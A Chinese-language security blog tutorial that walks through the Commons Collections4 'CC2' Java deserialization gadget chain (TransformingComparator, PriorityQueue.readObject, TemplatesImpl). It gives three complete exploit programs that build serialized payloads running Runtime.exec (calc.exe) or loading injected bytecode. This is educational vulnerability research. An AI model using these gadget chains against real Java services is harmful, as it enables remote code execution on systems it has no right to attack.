java反序列化之CC2超详细易懂分析

java反序列化之CC2分析

环境搭建

jdk 1.8

<dependencies>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.22.0-GA</version>
        </dependency>
    </dependencies>

InvokerTransformer.transform()方法

在学习了cc1和cc3之后发现出口类无非两种
那么只需要调用InvokerTransformer.transform()或者TemplatesImpl的newTransformer

链子大概思考分析

根据原作者找到的一个类

TransformingComparator.class

    public int compare(I obj1, I obj2) {
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

调用了transformer的transform方法,我们看看transformer是否可以控制,回到它的构造方法

public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
        this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
    }

可以看到是可以控制的,就是我们传入的值

那么谁可以调用compare呢
有点多,我们挑选一下,首先如果能在readobject里面最好
找一找有没有,但是没有,但是有一个类无限接近
PriorityQueue

    private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

调用了 comparator的compare方法
先看看 comparator是否可以控制,那就又要回到我们的构造方法

public PriorityQueue(int initialCapacity,
                         Comparator<? super E> comparator) {
        // Note: This restriction of at least one is not actually needed,
        // but continues for 1.5 compatibility
        if (initialCapacity < 1)
            throw new IllegalArgumentException();
        this.queue = new Object[initialCapacity];
        this.comparator = comparator;
    }

可以看到是可以控制的,也是我们传入的值
看看谁调用了siftDownUsingComparator
在PriorityQueue.siftdown

private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

如果我们的comparator有值就会调用,当然有值,继续往上找
PriorityQueue的heapify()方法

 private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

继续找谁调用了heapify()
nice发现PriorityQueue的readobject方法调用了它

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

所以到这里,链子就结束了!!!很简单是吧
但是还是有很多细节是需要我们处理的

链子调试细节分析

上面的雏形已经清楚了,我们先给出exp再来调试,为的是学习清楚审计的过程

初始exp
package cc2;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.util.PriorityQueue;

public class Test{
    public static void main(String[] args) throws IOException,ClassNotFoundException {
        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new String[]{"C:\\Windows\\System32\\calc.exe"}),
        };
        Transformer chaintransformer = new ChainedTransformer(transformer);
        TransformingComparator comparator = new TransformingComparator(chaintransformer);
        PriorityQueue queue = new PriorityQueue(2,comparator);
        queue.offer(1);
        queue.offer(2);//调用offer()方法随便给队列中添加两个参数,调用add()也可以,add()最后也是调用的offer()方法。
        try{
            FileOutputStream filepath = new FileOutputStream("./CC2.ser");
            ObjectOutputStream object = new ObjectOutputStream(filepath);
            object.writeObject(queue);
        }
        catch (Exception e){
            e.printStackTrace();
        }
        try{
            FileInputStream filepath2 = new FileInputStream("./CC2.ser");
            ObjectInputStream input = new ObjectInputStream(filepath2);
            input.readObject();
        }
        catch (IOException error){
            error.printStackTrace();
        }
    }
}

开始调试分析
首先是来到TransformingComparator的构造函数

在这里插入图片描述
会调用this的下一个构造函数,就是下面那个,然后根据传入的参数为他们赋值

我们明明没有传入Comparator,但是又有值,哪里来的?
看到上面的构造函数是传入了一个
ComparatorUtils.NATURAL_COMPARATOR
看看是个什么东西

public static final Comparator NATURAL_COMPARATOR = ComparableComparator.comparableComparator();

给了我们一个默认的 Comparator

然后来到PriorityQueue的构造函数

在这里插入图片描述
还是赋值,第一个是容量的意思,第二个是comparator
可以看到下面成功赋值为我们希望的值
然后就是进入PriorityQueue的offer方法
发现在这里它就调用了siftUp(i, e)

public boolean offer(E e) {
        if (e == null)
            throw new NullPointerException();
        modCount++;
        int i = size;
        if (i >= queue.length)
            grow(i + 1);
        size = i + 1;
        if (i == 0)
            queue[0] = e;
        else
            siftUp(i, e);
        return true;
    }

下面的过程在上一节就讲过,就会调用我们的链子,最后触发我们的计算器
然后就会直接结束了,链子根本不会再往下走,也就不会反序列化了

解决问题

我们需要不让它在添加的时候就触发链子,那我们思考一下可不可以不使用这个函数

其实是不可以的,因为你要添加元素就得使用offer,当然你说add

 public boolean add(E e) {
        return offer(e);
    }

可以看到add底层也是调用的是offer
清楚了吧,然后就是回忆cc6的时候是不是也发送了这种情况呢?

当时map的put方法也会调用到hashcode方法,当时我们是传入一个fake transform方法
那这里,我们还记得当时有一条分叉路

  private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

如果这个时候我们的comparator=null,那么就不会发生之后的事了,所以我们先不要传入comparator

让它把风头过了,再通过反射去修改就好了,我们直接动手实践起来

添加

Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,comparator);
最终的exp
package org.example;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2{
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new String[]{"C:\\Windows\\WinSxS\\wow64_microsoft-windows-calc_31bf3856ad364e35_10.0.19041.1_none_6a03b910ee7a4073\\calc.exe"}),
        };
        Transformer chaintransformer = new ChainedTransformer(transformer);
        TransformingComparator comparator = new TransformingComparator(chaintransformer);
        PriorityQueue queue = new PriorityQueue(1);//创建实例。注意下面的顺序改变了。
        queue.add(1);
        queue.add(2);//传入两个参数
        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");//反射获取成员变量的field
        field.setAccessible(true);//获取访问权限
        field.set(queue,comparator);//设置参数
        try{
            FileOutputStream filepath = new FileOutputStream("./CC2.ser");
            ObjectOutputStream object = new ObjectOutputStream(filepath);
            object.writeObject(queue);
        }
        catch (Exception e){
            e.printStackTrace();
        }
        try{
            FileInputStream filepath2 = new FileInputStream("./CC2.ser");
            ObjectInputStream input = new ObjectInputStream(filepath2);
            input.readObject();
        }
        catch (IOException error){
            error.printStackTrace();
        }
    }
}

我们现在再来调试,前面的就省了,因为前面的除了调用compare那里,其他地方都是一样的
直接来到readobject

要启动了,快上车
进入readobject方法
前面的还是省略了就是
heapify—siftDownComparable—comparato.compare

public int compare(I obj1, I obj2) {
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

来到这在这里插入图片描述可以看到已经开始调用Transform的transform方法了
然后就是我们熟悉的CC1链了,清楚了吧
然后就是直接把我们的计算器给弹出来了
在这里插入图片描述这就是第一种方法,其实还算是比较简单的

TemplatesImpl的newTransformer方法

链子详细分析

你看这个内容之前,先看一篇文章
前面的我就不说了,因为都是需要调用到invoketrasform方法
区别就是从这里开始的
我们只需要调用我们的newTransformerImpl()方法就行了
好吧没什么好分析的呢
直接给exp

package cc2;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2_Tem {
    public static void main(String[] args) throws Exception {
        //构造恶意类TestTemplatesImpl并转换为字节码
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.getCtClass("cc2.TestTemplatesImpl");
        byte[] bytes = ctClass.toBytecode();
        System.out.println(bytes);

        //反射创建TemplatesImpl
        Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
        Object TemplatesImpl_instance = constructor.newInstance();

        //将恶意类的字节码设置给_bytecodes属性
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(TemplatesImpl_instance, new byte[][]{bytes});

        //设置属性_name为恶意类名
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(TemplatesImpl_instance, "TestTemplatesImpl");

        //构造利用链
        InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
        TransformingComparator transformer_comparator = new TransformingComparator(transformer);

        //触发漏洞
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        //设置comparator属性
        Field field = queue.getClass().getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue, transformer_comparator);

        //设置queue属性
        field = queue.getClass().getDeclaredField("queue");
        field.setAccessible(true);
        //队列至少需要2个元素
        Object[] objects = new Object[]{TemplatesImpl_instance, TemplatesImpl_instance};
        field.set(queue, objects);

        //序列化 ---> 反序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object object = ois.readObject();
    }
}

总结

抄一下图
在这里插入图片描述

参考https://www.cnblogs.com/byErichas/p/15749668.html

https://xz.aliyun.com/t/10387

  • 31
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值